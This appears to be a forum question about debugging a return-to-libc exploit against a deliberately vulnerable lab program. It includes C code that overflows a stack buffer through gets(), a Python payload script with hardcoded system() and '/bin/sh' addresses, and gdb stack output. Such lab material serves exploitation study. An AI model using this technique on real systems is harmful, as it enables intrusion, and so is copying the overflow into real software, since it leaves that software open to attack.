1

I currently am trying to exploit an example program with a return-to-libc exploit. The program is this one :

#include <stdlib.h>
#include <stdio.h>

/* gcc -fno-stack-protector -o lab5C lab5C.c */

char global_str[128];

/* reads a string, copies it to a global */
void copytoglobal()
{
    char buffer[128] = {0};
    gets(buffer);
    memcpy(global_str, buffer, 128);
}

int main()
{
    char buffer[128] = {0};

    printf("I included libc for you...\n"\
           "Can you ROP to system()?\n");

    copytoglobal();

    return EXIT_SUCCESS;
}

So I used gdb and got the adress of system(). Then I created an environnement variable SHELL="/bin/sh" which I could locate using gdb. (it was 0xffffdf91 so im using 0xffffdf97 because of the SHELL= part) I then located where the return adress of copytoglobal was, and I figured it was 156 bytes after the beginning of the buffer

From there I wrote this little python script :

from __future__ import print_function
import sys

orig_stdout = sys.stdout
f = open('out.txt', 'w')
sys.stdout = f

print("A"*156, end='')

print("\xa0\x6f\xe2\xf7", end='') #system's adress read from p* system
print("ABCD", end='')         #errasing return adress with garbage
print("\x97\xdf\xff\xff")     #"/bin/sh"

sys.stdout = orig_stdout
f.close()

When i execute this in gdb with r < out.txt I get this output : `Program received signal SIGSEV, Segmentation fault. 0x44434241 in ?? ()̀

So it seems like the program tries to execute the dummy ebp value, which is really strange, because I sat a breakpoint right before the ret call at the end of copytoglobal and that is how the stack looked like :

0xffffdd1c: 0xf7e26fa0 #system() 0x44434241 #ABCD 0xffffdf97 #/bin/sh

Using a breakpoint at the beginning of system() I can also say the program enters the system() function, but I really don't understand why it doesn't pop a shell and crashes before the end of system() (I tried to set a breakpoint right before the ret call at the end of system() but it is never reached)

Thanks in advance

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.